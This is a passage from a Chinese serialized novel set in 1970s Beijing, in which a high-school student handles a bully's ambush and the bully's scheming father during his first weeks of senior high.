“建军，以往外国元首来咱们京城，不是都会组织学生去欢迎么！”白建华在旁边也提出了自己的疑问。“这次怎么不像之前欢迎亲王那样，欢迎这位大统领啊！” “姐，这位能和亲王比么，亲王是我们种花家的老朋友。”白建军笑了笑说道。“再说了，咱们之前一直都是反对鹰酱的，这冷不丁的最大的那只鹰酱来了，你能一下子转过弯么？” “我是没想明白，所以才问你的！” 白建华摇了摇头看着白建军说道。 “姐，我们英语课本上那些话，你也学过。”白建军指了指自己的屋子说道。“不仅是你转不过来弯，一时半会大多数人都转不过这个弯。” “你们俩也别想这个了，离着咱们太远了！” 李香秀直接打断了姐弟俩的话。 ----------------- 就像李香秀说的那样，鹰酱大统领来种花家这件事和普通人离得太远了。无论是上班的工人还是上学的学生，在鹰酱大统领在京的这些天都提前到单位或者学校，按要求保证早八点之前，主干道上看不到任何一个行人。等鹰酱大统领去了临安，京城这边也就恢复了正常。 初中的最后一个学期，白建军一如既往的积极表现，不过白建军仍然没有得到参军的机会，主要还是政审这块没有过。招兵的领导虽然非常惋惜，但是也没办法。不过求上得中，白建军虽然没能当兵，但是也因为优异的成绩得以升入高中。 徐静理、夏建红、任燕、苏萌、叶菲等这些白建军关注的女同学也都进入了高中，而杨树影则因为成绩不够，毕业之后就会去内古插队。而同样要下乡插队的还有高中毕业的夏建国和田源，夏建国也是去内古，田源却被分到了彩云省。 田源完全可以不去或者和夏建国一样去内古，但是其满怀理想的想去彩云省，而且作为父母的田志远和曹慧两个人竟然都支持田源。虽然两个人的出发点不同，但是难得在这件事上达成了一致。 “姐，田源哥去彩云省，你没劝劝？” 看着登上南去列车的田源，白建军看向来送别的白建华。 “你田源哥看似随性，但是他是个理想主义者！”白建华对着远去的列车最后挥了挥手小声的。“而且，他的性格也和田伯伯一样，自己认定的事，十头牛都拉不回来。” 白建军同样挥了挥手，同列车做了最后的告别。 “前两天送走了建国哥，今天又送走了田源哥。”白建军略带伤感的说道。“不知道两年之后，我会不会也如同他们一样呢！” 第25章 高中的第一天 离别的悲伤被新学年的开学所代替，新种花23年的金秋九月，当白建军再次进入红旗中学的校门，其身份也变成了红旗中学三连二排的一名学生。 现在的学制虽然缩短为“九年制”，城市里的初中生如果想上高中通过考试就可以上高中，但是“知识青年下乡接受再教育”是最高优先级，落实到下面的时候，实施过程中就不可避免的出现了一些“一刀切”，过分“动员”的情况，所以城市里大部分的初中毕业生都被动员下乡了，能升入高中的算是小部分人。 红旗中学初中部每个年级有12个班，高中部每个年级则只有6个班。高中的生源除了本校直接升上来的那一小部分，大部分都是来自其他非完全中学。 站在学校外墙看着分班名单的叶菲在人群中一眼就看到了白建军，叶菲直接走到了白建军身边问道。 “白建军，你被分在了几排？” “三连二排！你呢，你被分在了几排？” 白建军看着叶菲问道。 “我在三连三排！” 叶菲有些失落的说道。 “没事，我们两个班挨着，有事你就叫我！” 白建军笑着安慰着叶菲说道。 “嗯，那说好了！” 叶菲听到白建军的话，终于露出了笑容。 两个人正说着话，杨树茂和谢志强也从另一边初中分班那边走了过来。 “菲姐！白大哥！” “大茂，你们找到自己的名字啦？” 叶菲笑着看着杨树茂问道。 “菲姐，我们俩都在七连三排！” 杨树茂傻笑着看着叶菲回道。 “怎么就你们俩啊，原来跟在你身边的那个小姑娘呢？”白建军看着杨树茂和谢志强笑着问道。“原来你们仨不是总在一起的么？” “白大哥，小鼻涕妞跟着她爸去南方啦！”谢志强看着白建军说完，又问起了杨树茂。“叫什么安保，还是宝安来的？” “宝安县！”杨树茂纠正了谢志强一下，然后又看着白建军说道。“白大哥，你身手那么好，有机会我还得向你请教请教！” “我就是力量比你大了一点。”白建军看着杨树茂笑呵呵的说道。“再说我也不会摔跤啊，我可不想挨你摔！” “白大哥，你太谦虚了！”杨树茂看着白建军认真的说道。“我知道你是有真本事的！” “大茂，你和你菲姐先聊着！”白建军笑了笑转移话题说道。“我去问问我邻居她们！” 说完话，白建军和叶菲点了点头，然后就过去找夏建红和任燕去了。 “菲姐，白大哥明明很厉害，为什么不答应和我比试比试呢？” 看着离去的白建军，杨树茂看向身边的叶菲。 “我也不知道，而且大茂，你怎么就确定白建军很厉害的啊！” 叶菲先是摇了摇头，然后好奇的看着杨树茂。 “菲姐，几年前我就问过我们体校的教练，这是他说的。”杨树茂看着叶菲诚实的说道。“我教练说，白大哥要么是总打架有经验，要么就是天赋异禀是练跤的好苗子。我以前也找过白大哥几次，想带他去我们体校让我们教练看看，可是他每次都有事！” “认识白建军两年多了，也没听说他和谁打过架。”叶菲看着杨树茂说道。“他不愿意，你也别勉强他了。” 叶菲一直盯着白建军，等看到白建军和三个女生一起往学校里面走，叶菲也带着杨树茂和谢志强往学校里面走。 “白大哥身边的女同学不少啊！” 谢志强跟在杨树茂身边，小声的和杨树茂说道。 “挨着白建军那两个女生，是他邻居，最边上的女生也是他小学同学。”叶菲看着前面几人的背影直接说道。“也是两年前他救的人！” “这事我听我三姐说过！” 杨树茂立马想到了杨树影当初跟他说过的事。 “你们俩往左边去吧，那边是初中部！”穿过了学校的办公楼，叶菲指着操场左边说道。“我要往右边去了。” 杨树茂和谢志强向叶菲告辞之后，就往初中部那边走了，叶菲也慢慢的随着人流往高中部走，她的眼神一直没有离开过白建军以及他身边的几个女生的背影。 当看到白建军和徐静理前后脚走进三连二排的教室，叶菲的脸色就有些不好看。 “叶菲，你在这儿看什么呢？” 苏萌突然从后面走到了叶菲身边，拍了一下叶菲的肩膀。 “苏萌姐，我没看什么！”叶菲换上了委屈的神色看着苏萌问道。“苏萌姐，你在哪排啊？” “二排！”苏萌指了指三连二排的教室，然后看了叶菲一眼。“你呢？” “唉，我在三排，要是能和苏萌姐在一个排就好了！” 叶菲可怜的看着苏萌说道。 “咱们两个排挨着，你要是有事就来找我！” 苏萌大包大揽的说道。 “那好的，苏萌姐！你最厉害了！” 叶菲甜甜的笑着恭维着苏萌说道。 苏萌听了叶菲的话，别提多开心了，和叶菲摆了摆手就往三连二排走。叶菲嘴角露出了一个嘲笑的表情之后，又恢复了原来甜甜的模样，然后转身往三排走去。 苏萌这边一进教室，不少男生的目光就向着苏萌投来，苏萌很享受这种焦点的感觉，微笑着看着课桌上的名字寻找自己的座位。就在苏萌找自己名字的时候，一个男生直接站起来问道。 “这位同学，你叫什么名字啊！你说出来，大家好帮你找找呗，这样也能快点。” 话虽然是好话，但是这个男生那一副不怀好意的笑容，让苏萌万分的讨厌。 “认识一下，我叫刘士宽，今天起咱们就是同学、是战友了！” 刘士宽嬉笑着拦在了苏萌面前，特意伸出手，想和苏萌握手。 “苏萌，你的位置在我后面！”徐静理直接站起来给苏萌解围。 “让一让，我要过去了！” 苏萌忍着厌恶，对着刘士宽说道。至于刘士宽伸手的手，苏萌是理都懒得理。 大庭广众之下，刘士宽觉得面子上有些挂不住，转身瞪了刚说话的徐静理一眼，苏萌趁此功夫直接绕过了刘士宽坐到了自己的座位上。 白建军直接从后面走到刘士宽身边。 “这位同学，我叫白建军，咱们俩认识一下？” 白建军直接伸出手，等着刘士宽来握手。 刘士宽准备把刚刚在苏萌身上和徐静理身上受的气全撒到白建军身上，直接伸手和白建军握在了一起。 “哼，白建军啊！” 说完话，刘士宽手上就开始用力握了起来，可是白建军一点反应都没有。 “呵呵，是啊，白建军！”白建军笑着看着刘士宽说道，手上同样也开始加力。“我们这算是认识了！” 刘士宽直接就感觉手像是被钳子卡住了一样，这下刘士宽知道遇到了硬碴儿了。 “朋友，不至于吧！”刘士宽咬着牙看着白建军说道。 “嗯，不至于！”白建军笑了笑，松开了手。 第26章 不一样的高中生活 开学的第一天，对于刚刚上初一或者高一的学生们来说，面对的所有的一切都是新的，新的老师、新的同学以及新的烦恼。 刘士宽没想到刚上高中的第一天就发现班里来了一颗这么靓的“果儿”，这还没等搭上话呢，就让刚才走进来的另一个“果儿”给岔过去了，而且马上就有一个男生出来拦横。刘士宽本想教训一下这个叫白建军的男生，没成想这小子手劲这么大，自己反被教训了一下。 刘士宽坐在座位上，心里实在咽不下这口气。 “一会儿我出去扫听一圈，看看这小子到底是什么来路。”刘士宽快速的看了白建军一眼之后，就把目光转移到了苏萌身上。“也不知道那小子和这颗水灵灵的‘果儿’是什么关系。” …… 对于眼里冒光嘴角带着傻笑的刘士宽望向自己的目光，苏萌心里甭提多膈应了，但是苏萌也拿刘士宽没办法。苏萌的从小到大长的都比较漂亮，对此苏萌非常自信，但是也正因为知道这点，苏萌明白以后打自己主意的人，绝对不止刘士宽一个，而自己的身边已经没有保护自己的人了。 初中那时候，还有程建军和韩春明在自己身边保护自己，无论是在学校还是在胡同，都没有人能欺负自己，但是他们俩现在都下乡了，自己突然就跟个小绵羊似的，彻底失去了外在的保护。 苏萌转头看了一眼坐在后面的白建军，又转头看了看坐在自己前面的徐静理，为了自己的安全，苏萌打定主意一定要和他们俩处好关系。 …… 坐在最后一排的白建军并没有把刚刚的事情放在心上，给刘士宽一个下马威也是因为他瞪徐静理那一眼。徐静理不会在乎刘士宽瞪那一眼，但是白建军不能让徐静理受屈。 三连二班陆续有同学走进了教室，上午9点之前，教室中已经坐满了步入高中的同学。除了苏萌进门的时候发生了一点小插曲，再也没有发生其他别的什么事了，主要也是刘士宽已经把眼睛长在了苏萌身上，根本看不到其他进来的女生。 白建军没想到，自己在最后一排，还能分到一个女同桌。 “同学你好，我叫蔡晓丽！” 白建军的同桌坐下来之后，大大方方的和白建军打着招呼。 “蔡晓丽同学，你好！”白建军看着这个穿着朴素，但是落落大方的姑娘认真的介绍道。“我叫白建军！” “我是卫东中学的！” “我就是本校上来的。” 两个人你一言我一语，互相做着简单的介绍。这种情况在整个班级里都屡见不鲜，毕竟大多数同学都是第一次见，简单的了解一下自己的同桌，也好估摸出以后相处的模式，是相敬如宾，还是楚河汉界，还是成为朋友，都在这三言两语之间有了一个初步的结果。 临近上午9点，一个戴着眼镜的中年男老师走进了教室，同学们见老师来了，都纷纷正襟危坐。 “同学们，大家好！” “老师好！” 在所有人参差不齐的回答声中，王凤有伸手示意大家安静。 “我是你们的班主任，也是你们的数学老师，我叫王凤友！” 王老师说完，就在黑板上写上了自己的名字。 “今天是第一天开学，一会儿我会把课程表写在黑板上，大家记录一下。”王老师微笑的看着学生们说道。“不过首先我还是要把咱们三连二排的排干部的任命说一下。” “当然，这个任命只是暂时的，等在过一阶段，大家熟悉了，我们会进行一次排干部的选拔！” 同学们听到了王老师的话，不由纷纷好奇起来排干部的人选了。 “代理排长，徐静理。”王老师第一个念出来的名字就是徐静理，然后又给出了一个理由。“徐静理同学在初中阶段就一直担任排长工作，所以老师暂时让徐静理同学代理排长，负责咱们排的纪律管理。” “代理班长：苏萌、刘士宽、白建军。苏萌同学负责文艺活动、刘士宽同学负责体育活动、白建军同学负责卫生方面的工作。” 王老师念到名字的时候，四个人分别都站了起来。 “你们先坐下吧！”王老师让四个人都坐下之后，勉励的看着所有学生们说道。“同学们都要努力，以后大家都有机会当选排干部！” “下面老师开始点名，同学们也正好借此机会，互相认识一下！” …… 等点完名，王老师脸上露出了一丝无奈，但是很快又拿起了一张表格。 “同学们，你们已经升入了高中，虽然学习很重要，但是‘三学’也是必不可少。”王老师拿起表格，语气有些低沉。“再过不久就要到秋收时节了，不同于你们初中时期只参加一天的秋收，高中阶段秋收会持续一到二周；之后学校和第三轧钢厂进行了沟通，在适当的时候，会让大家到轧钢厂学习一个月的时间；当然除了日常的出操，学校也会让大家去军营切身体会一段时间。” 王老师的话说完，教室里就跟开了锅似的。 在座的同学，其实绝大多数都是在当不了兵之后，才选择了上高中，所以大家都对能去军营充满了向往；至于参加秋收，对于已经经过两年“麦收”、“三夏”锻炼的学生们来说，除了累点，也就是那么回事，只是这次时间比原来长一点。 当然工厂也是大家感兴趣的地方之一，特别是听说他们学习的地方是轧钢厂之后，不少学生在心里也打好了主意，一定要在这期间好好表现，争取能在毕业之后若是没考上大学，能留在厂子里上班。 所有学生们都知道，若是高中毕业了，不仅没考上大学，还没有接收单位，那等待大家的只有下乡一条路了。他们当中大多数当初正是因为不想下乡，才会选择继续读书。 不过考大学这条路，也在白建军他们开学一段时间之后被彻底斩断了。 第27章 回家就被堵了 红旗中学三连二排，班主任王凤友在和学生们简单的说了一下这个学期内的一些“三学”安排之后，就委派徐静理组织学生们去学校的仓库搬运课本。 此时高中的课程主要有政治、语文、数学、外语、工基、农基、历史、地理及军事体育和革命文艺等。文科类的学习内容带有浓厚的时代色彩，与大环境接轨，既让大家学到一定知识，又受到良好教育；理科类的学习内容比较实用。 工基约等于物理，除物理基础知识外，突出了此时电路、电动机、柴油机等农村新生事物方面的基本技术技能；农基约等于化学，除了化学生物的基础知识外，偏重于化肥、农药、农作物生长生产方面的基础知识。 这两门课程，有很多涉及到实验的部分，但是红旗中学并没有实验场地以及实验设备，不过这也难不住学校和老师。学生们在参加“学农”的过程中，会在农村住上一段时间，这段时间也是让同学们实践这两门课程的最好的时机。 可能是由于年初鹰酱大统领访问了新种花，所以外语课本也与时俱进，其中大量充满杀气的内容做出了一定的修改，虽然课本中仍然不乏“缴枪不杀”这样的词汇，但是整体上来说，已经变得相对柔和了一些。 等发完了课本，一上午的时间也快过去了，但是离放学还有一段时间，王老师也让大家自由活动了。等王老师一走，刘士宽就去外面了。 白建军收拾好自己的书包之后，和大多数同学一样走出了教室。这个时候，大多数学生都是去找以前的同学了，有打听消息的，有去炫耀的，反正干什么的都有。白建军则只是单纯的想出来晒晒太阳，不时有路过的红旗中学升上来的学生和白建军打招呼，白建军也都客气和回应着。 “白大夫，你是排长还是班长？” “老蔫儿，我还是班长，排长是徐静理！” “白大夫，没跟你一个排，太可惜了！” “王美丽，咱们都在一个排，抬头不见低头见的，有什么可惜的。” “白大夫，学农、学军的时候，哥们儿的安全可全靠你啦！” “大头，只要你不作死，我保证你的安全好吧！” …… 等了有一会儿，一个原来四排的学生突然过来找白建军。 “白大夫，刚刚有外校的人来扫听你！”图强走到白建军身边小声和白建军说道。“你这今天是不是得罪谁了？” “老图，苏萌，你知道吧！”白建军看着图强无奈的笑了笑。“她在我们班！” “有咱们校花在，那就消停不了！”图强一听也露出了一副有好戏看了的笑容，不过笑过之后突然看向了白建军。“白大夫，你……不会是对苏萌有意思吧！” “老图，你可别瞎说！”白建军连忙否认道。“我当时也没多想，我们是小学同学，现在又在一个班了，我总不能看一个外人难为她吧！” “白大夫，中午放学你去哪，我找几个人跟着你，省的你让人围了，别再吃了亏。”图强很认同白建军的话，然后立马表示要去找人。 “老图，谢谢你的好意啦！”白建军抱拳说道。“这么点小事儿，不至于还找人围我吧！” “白大夫，咱们不说是过命的交情，但咱们也是亲密的战友。”图强赶紧双手握住白建军的拳头。“有事你就招呼一声，别不好意思！” “老图，你放心，要是有事我一定叫你们！” 白建军认真的说道。 “你接着卖呆儿，我出去扫听扫听，看看对面是什么意思！” 图强不放心的说完，转身就走了，白建军想叫都没叫住。 “看来这刘士宽是想和我碰一碰了啊！”看着图强离去的背影，白建军不由自嘲的说道。“看来老虎不发威，还真拿我当helloKitty了！” “什么helloKitty？”叶菲突然从另一边走了过来。“刚刚我看到好像是图强过来了，有事儿？” “就是随便聊几句，没什么事！” 白建军笑着摇了摇头说道。 “你可别骗我啊！” 叶菲看着白建军说道。 “这话儿说的，好像我之前骗过你似的！” 白建军笑着和叶菲说道。 “那行，没事我先去初中部那边看一下大茂，也不知道他怎么样了！”叶菲笑了笑看着白建军说道。“他三姐走之前还让我照顾点他呢！” “你去吧！”白建军像是想到了什么似的。“以大茂的身手，你更应该担心他把别人伤了！” “我也是这么想的！”叶菲笑着看着白建军说道。“咱们俩都想到一块去了！” 白建军和叶菲说了几句，叶菲就告辞去初中部那边了，白建军也返回到教室里去了。等了没多大功夫，学校的大喇叭里就传来了放学的通知。 高中部这边下午继续正常上课，不过中午有一段时间给学生们用来吃饭，离的近的都回家解决，离的远的只能用饭盒带点饭菜在学校这边热一下。 白建军收拾收拾，书包也没带着，和回来的蔡晓丽打了声招呼就往学校外面走，叶菲则一直等在校门口。 “叶菲，你这是等大茂他们呢？” “没有，我在等你！”叶菲摇了摇头，跟上了白建军。“大茂和谢志强他们都先走了！” 白建军和叶菲慢慢往九道弯那边走，反正时间也来的及。两人走了能有10多分钟，后面就传来杂乱的脚步声。 “白建军，你站住！” 白建军转身就看到刘士宽领着三个男生从后面追了过来。 “刘士宽，那么点小事儿，你不至于带人来围我吧！” “白建军，今儿个你拦横，让我在苏萌面前载了面儿了！”刘士宽得意的看了身边的三个男生一眼，又对着白建军说道。“不过看在咱们俩是一个排的同学的份上，今儿个只要你给我赔个礼，道个歉，并且保证以后再也不掺和我的事儿，今儿个这事儿就算过去了！” “我要是不道歉呢？” 白建军笑着看着刘士宽问道。 “那哥儿几个可就要给你松松骨头啦！” 刘士宽威胁着说道。 “那你们来吧，我看看你们的手法好不好，好了我还能赏你们个三毛两毛的！” 白建军招了招手，对着刘士宽以及他带来的三个人笑着说道。 “宽哥，他这是什么意思？” 一个男生不明所以的看着刘士宽问道。 “你废什么话啊，上！” 第28章 刘父教子 上高中的第一天，白建军和叶菲走在回家的路上，叶菲嘴里一个劲的追问。 “白建军，你还说没事儿，你这都让人堵了！” “这又关苏萌什么事儿啊？” “他们几个摔的鼻青脸肿的，不会有什么事儿吧！” “停！停！停！”白建军赶紧打断叶菲连珠炮一样的提问，又和叶菲说了一下刘士宽带人堵自己的原因。“我也没想到刘士宽竟然这么小肚鸡肠，中午就带人来堵我！” “就这么个人，你们班主任还让他当班长呢！”叶菲不忿的对着白建军说道。“你们老师眼睛是不是有问题！” “也可能是刘士宽欺骗了组织呢！”白建军笑着看着叶菲说道。“或者是他爹有些地位，老师看在这点上，照顾照顾他？” “不管是什么，都不应该让他这样的当干部！” 叶菲恨声说道。 “那不是咱们该管的事！”白建军摇了摇头说道。“再说，他们来堵我，我也没吃亏！你刚才也看到了，他们要来打我，可是我也没还手，一直躲着他们，只是有时候不注意绊到了他们，所以他们才摔成那样的！” “他们走的时候可是说这事儿没完呢！” 叶菲有些担心的看着白建军说道。 “没事，下午上学之后，我看看能不能找刘士宽聊聊！”白建军笑呵呵的看着叶菲说道。“到时候把这个误会解开！” “嗯，还是解开的好！”叶菲点了点头，然后突然笑了一下。“说起来刚才都给我吓坏了，那刘士宽拿砖头在后面偷袭你，可是他脚下突然一滑，手里的砖头竟然拍在了另一个人的大腿上！” “当时你都笑出声了！” 白建军笑着看着叶菲说道。 “我到家了！”两人一路聊天也到了叶菲家门口，叶菲看着白建军笑了笑。“吃完饭休息一会儿，你上学的时候叫我一声！” “嗯，一会儿我来叫你！” 白建军点了点头，和叶菲摆了摆手就往李香秀家走去。 另一边，一瘸一拐的刘士宽四人互相扶持着往自己家里走。 “刘士宽，哥儿几个今儿个可是替你出气来的！”赵凯旋扶着被板砖拍了大腿的杜胜利，看着走在旁边的刘士宽说道。“可咱们四个愣是让那个白建军一个人给耍了，这事儿，你怎么打算？” “我这一板砖不能白挨吧！”杜胜利一瘸一拐的说道。 “哥几个的情，我刘士宽记在心里！”刘士宽龇牙咧嘴的说道。“这个白建军就是会躲，赶明儿个多叫上几个人，我看他还怎么躲！” “收拾他一顿是避免不了的，最少也得赔我们医药费！”杜胜利忍着腿上、身上的疼说道。“我估计我身上都骨折了！” “哥几个先回家，等下午就让家里人先送你们去医院检查检查，回头看我不讹死他！” 刘士宽顺着话茬往下说道。 几个人一路上对白建军是一顿语言上的输出，最后商量回头就去找白建军讹他。刘士宽回到家的时候，他爸他妈看见他身上不仅脏了，走路还有些慢。 “儿子，你这是怎么啦？”刘母赶紧走过来扶着刘士宽问道。“你这是让谁给打了，我找他们算账去！” 知子莫若父，刘父则直接皱眉的看着坐下来的刘士宽。 “你把今天的事，仔细和我说说！到底是怎么回事？” 刘士宽对着他妈还能撒个娇什么，但是对他爸，他是一点都不敢撒谎。直接把事情的起因、经过和结果说的清清楚楚。 “这也把你摔的太狠了啊，没有这么欺负人的！”刘母听了之后直接站起来大声的嚷嚷道。“我去你们学校，今天一定要给我一个说法！” “你坐下！没听你这好儿子说么，是他带人去堵人家去了。”刘父看着刘母呵斥了一句，然后不满的看着刘士宽说道。“最后不仅没教训了人家，还让人家给好一通教训。” “都给我儿子摔这样了，我还不能去要个说法啦？”刘母心疼的看着刘士宽，然后对着刘父愤怒的说道。 “说法？人家连手都没抬，你儿子和他带去的人就都意外摔倒了！”刘父特意在“意外”两个字上加上了重音。“你找去学校，最后只会坑了你儿子。” “我问你，你堵的那个人，你都打听出什么了？家庭出身，在校表现？这些都问出来了么？” 刘父说完了刘母，又看着刘士宽问道。 “白建军他爷爷是资本家，他前几年出事了也都走了。”刘士宽看着严肃的刘父赶紧说自己打听出来的情况。“听说他在学校还被立为‘再教育子女’的典型。” “老刘，这你还不帮儿子出口气？” 刘母听完刘士宽的话，直接看着刘父问道。 “你懂什么！”刘父仔细思索了一会，直接瞪了刘母一眼。“在他爷爷是资本家的前提下，他还能在学校担任班长，还能继续上高中，这就足见其在学校的表现是多么的突出了，突出到已经压制了他出身给他带来的影响了。” “这还不算，你们俩真的以为那个孩子就只是会躲么？”刘父看着母子二人反问道。“还有他既然能被他的同学们起外号‘大夫’那就说明其肯定是懂一些医术的。” “这有什么关系？” 刘士宽不明所以的看着刘父问道。 “儿子，我怀疑你就是在找四个人去，你们都不一定能打过对方！那小子说不定身上是有些功夫的。”刘父看着刘士宽认真的说道。“哪怕他没有功夫，你找人把他揍了，那你知道不知道他是否怀恨在心？我举个例子，你要是生病了，以你们俩现在的关系，他给你拿过来的药，你敢吃么？” “我肯定不敢啊！”刘士宽理所当然的说道。“他要是给我下药呢，虽然说他倒不一定敢弄死我，但是折腾我一顿我也得遭老了罪了！” “你们上高中，有一段时间是要在外面呆着吧！你能天天防着他么？” 刘父看着刘士宽继续问道。 “要是天天这么防着他，我自己就得先疯了！” 刘士宽一想到时刻有一个人想在背后暗算自己，自己还不知道他会什么时候下手，不由打了一个激灵。 “所以，没有天天防贼的！”刘父看着刘士宽认真的说道。“冤家宜解不宜结，你回去主动找他道歉，然后修复关系！” “啊？爸，我还得给他道歉？” 刘士宽不可思议的看着刘父问道。 “等这个事儿翻篇了，你们也不再是敌人了。那小子大概就会放松警惕了吧，那时候就是你的机会了”刘父冷笑着说道。“要么不做，要么就做绝，一棍子打死，让他再也不能翻身！” 第29章 虎头蛇尾的约架 白建军中午吃完饭下午到学校的时候，就准备找刘士宽聊聊，可是直到下午上课，都没见到刘士宽来教室。徐静理做为排长在下课的第一时间就去找了二排的班主任。 “徐静理，什么情况？” 白建军在教室外面看着回来的徐静理问道。 “刘士宽请假了！王老师说他摔了，下午准备去医院检查一下。”徐静理看着白建军疑惑的问道。“你和刘士宽以前认识？你怎么还关心上他了呢！” “我哪能认识他啊！”白建军笑了笑看着徐静理。“我就是关心一下同学而已！” 还没等徐静理进教室，图强和大头以及老蔫他们好几个男生就过来找白建军。 “白大夫，你没什么事吧！”图强一过来就上下打量着白建军。“你中午是不是被人堵了！” 白建军一个劲的给图强他们几个人使眼色，可是图强还是把事说了出来。 “白建军，到底怎么回事？”徐静理直接严肃的看着白建军问完，看向了图强他们几个。“图强，你说白建军被堵是怎么回事！” “徐静理，没什么事！”白建军看着徐静理认真的说道。“都是小事，我们能解决！” “你们这是要去打架去么？” 徐静理脸色不好的看着白建军以及图强他们。 “今天可打不，我们刚扫听了，有3个卫东中学的人下午都没来。”图强看着白建军说道。“你们班那个不会也没来吧！” “也没来！” 白建军确认的和图强说道。 “白大夫，明儿早早起？”图强看了徐静理一眼，又看着白建军问道。 “早起消化消化食儿！” 白建军笑着点了点头。 “那我们先颠儿啦！”图强点了点头，和白建军以及徐静理说道。“白大夫，徐排长，回见！” “白建军，就因为早上的事？”徐静理也不傻，一下子就想明白了白建军和刘士宽闹矛盾的原因。 “苏萌让你救了，但刘士宽的怨念都冲这你去了！”白建军小声的和徐静理说道。“蔡叔和徐姨让我照顾点你，我总不能看着刘士宽针对你之后，在出面吧！” “无聊！” 徐静理不屑的说了一句，错开身子就往教室里面走，不过和白建军交错而过的时候，还是小声说了一句。 “你小心点！” 一下午，一到下课时间，陆陆续续就有原红旗中学升学的学生过来找白建军，白建军没想到这么点小事能惊动这么多的人。不过想了想也觉得这个事挺正常的。 白建军以前一直与人为善，男生们在打球或者锻炼的时候，要是意外受了点小伤，大家都会来找白建军，只要不是骨折一类的大的问题，扭伤或者脱臼什么的，白建军当时就能处理好。时间长了，哪怕是女生们也慢慢来找白建军，而不是选择去医务室。白建军“白大夫”的外号，还是校医务室的老师给白建军起的呢，因为在这方面白建军比他强的太多了。 除了白建军自身的原因，大家抱团取暖也是很重要的原因之一。开学第一天，外校来的学生就把本校的学生给堵了，这相当于下了本校学生的面子，要是不找回这个面子，那以后大家就都等着被欺负吧。 别人有事的时候你不上，等你有事的时候也不会有人帮你，正是基于这种心理，红旗中学升上来的学生们都愿意帮忙，而且不仅是男生，女生中也有不少想出一把力的。 第二天一早不到7点，白建军就和夏建红、任燕她们一起来到了学校，此时校门口已经有几个男生等在了校门口，看到白建军来的时候，纷纷和白建军打招呼。 “建军哥，昨天我们班卫东中学的学生们也在嘀嘀咕咕，你们今天不会打起来吧！” 夏建红有些担忧的看着白建军说道。 “是啊，建军哥！”任燕也跟着说道。“我们班不少男生都在议论此事，不仅是卫东的，还有向阳的！” “人越多，越不一定打起来，你们俩先近学校里面！”白建军看着夏建红和任燕说道。“我先去他们那边看看！” “建军哥，我和燕子就在门口等着！” 夏建红和白建军说完，就和任燕进了校门，白建军也往男生那边走。 “白大夫，今天一定给他们点颜色看看！”一个白建军不太熟的男生见白建军过来，热情的跟白建军说道。 “我谢谢各位了！”白建军先抱拳跟几个人拱了拱手。“不过哥几个，你们有谁要是带了家伙事，趁现在赶紧找个地方藏起来。” “白大夫，我可是听说卫东那边的孙子也在窜联，他们要是带家伙事，咱们这边不是吃亏了么！” 另一个男生有些担忧的说道。 “哥几个听我的吧，人太多了，我估计学校一定知道了！”白建军看着几个男生说道。“而且我最怕那边有人出阴招，他们要是告到派出所，大家身上要是被搜出来家伙事，那都得挨处分！不值当！一会儿哥几个辛苦，等咱们同学来了之后和大家说一声儿！” 大家觉得白建军说的也有道理，所以也都纷纷答应。 随着时间临近，越来越多的男生聚集在校门口。 “白大夫，卫东那边的孙贼好像也在集合人，不过他们那边人不是很多。”图强来了之后，直接找到白建军。“他们好像是一直在等什么人！” 白建军看着图强说道。“应该是等昨天带头堵我的刘士宽吧，毕竟事儿是因我们俩而起，他们那边哪怕有人带头，也得借着这个由子！” 图强以及其他几个围在白建军身边的人都看着白建军。 “那就等他们过来？” “等他们过来，看看他们是个什么章程！” 白建军和图强以及很多男生都等在学校外面，可是随着时间的推移，那边一定动静都没有。老蔫一直留意这另一边，突然看见两个男生走了学校，赶紧过来找白建军。 “强子、白大夫，刚刚进去的那两个男生，是我们排的，他们俩就是卫东的！” “老蔫，你说他们是什么意思啊！” 图强挠了挠头，看着老蔫问道。 “我去问问！” 老蔫和众人点头示意了一下，就往学校里面跑。没多大功夫，老蔫就跑回来了。 “强子、白大夫，他们那边拉跨啦！”老蔫跑回来之后，直接看着图强和白建军说道。“他俩说昨天堵白大夫的那个刘士宽，今天根本没来上学！听跟着的那仨说，今天早上他们去找刘士宽，他爸直接说刘士宽生病了，根本就没路面儿！” “这……” 图强看着白建军，又看了其他人，不由面面相觑。 “强子、老蔫，同学们，大家先回去上课吧！”白建军对着大家拱手作了一圈揖。“谢谢大家了！” “白大夫，你这说就外道啦！” “白大夫，你甭跟我客气！你这么说是不是以后打算不管我们啦！” 大家七嘴八舌的开着玩笑之后，就三三两两的往学校里面走。 白建军很纳闷刘士宽为什么怂了，可是另白建军更想不到的是，上午刚过了两节课，徐静理就从班主任那里得来了一个消息，刘士宽他爸上午过来给刘士宽办理了转学，理由是刘士宽他爸准备调动工作了，为了上班方便，家里也准备搬家了，刘士宽以后上学就不太方便了。 “恐怕是刘士宽他爸正是上升期，怕刘士宽和我事影响到他吧！” 白建军暗中猜测着真正的原因。 第30章 白建华？No，是苗建华 新学期开学一周了，相比较初中部那边已经摔遍了整个初中部无敌手的杨树茂，红旗中学高中部除了第二天出了一些事情以外，其他一切进行的都很正常。 下周高中部就要开始为期一至二周的学农活动，老师们的精力大多用在了怎么样在秋收期间既保证学生们完成劳动，又能在劳动的过程中学到相应的知识。 “同学们，你们放学之后，一定要做好充分的准备工作。粮票、油票、副食票以及换洗的衣物、被褥都要打包带齐。”二排班主任王凤友站在讲台上对着二排的所有学生们叮嘱道。“卡车上地方有限，其他的无用的东西，就别带了！” 在下课铃响了以后，王老师仍然千叮咛万嘱咐的重复了数遍注意事项，在宣布下课之后，王老师并没有直接离开，而是看了一眼正在整理书包的白建军。 “白建军，你跟我来一趟办公室！” “白建军，王老师找你干什么啊？”蔡晓丽关心的看着白建军问道。“不会还是上次那件事吧！” “这都调查好几天了，相信也终于有了个结果了！”白建军笑了笑表示没什么关系。“我只是没想到，刘士宽都走了，可他爹竟然在背后还给我上眼药！” “你和王老师说话的时候态度好一点！”蔡晓丽看着白建军说道。“王老师还是相信你的！” “嗯，我知道，谢谢你啦，蔡晓丽！” 白建军和蔡晓丽道了谢之后，就背起书包往教师办公室走去。 苏萌看着白建军离开教室的背影，嘴角不自觉带起了一丝得意的笑容，她的神情被徐静理正好看在了眼里，徐静理满心的讨厌苏萌这副神态，不屑的转过身有些担忧的看向了离开的白建军。 没等白建军走到教师办公室，就看到王老师停在了走道上。 “王老师！” 白建军快步走到王凤友身边叫了一声。 “白建军，你也知道，这几天学校方面一直在了解开学那天的事情。”王凤友神色平静的看着白建军说道。“通过老师们的了解，证明你并不是事情的组织者，所以学校也不会对你做出什么处理。” “我一直都相信组织能给我一个公正的结果！” 白建军肯定的对着王凤友说道。 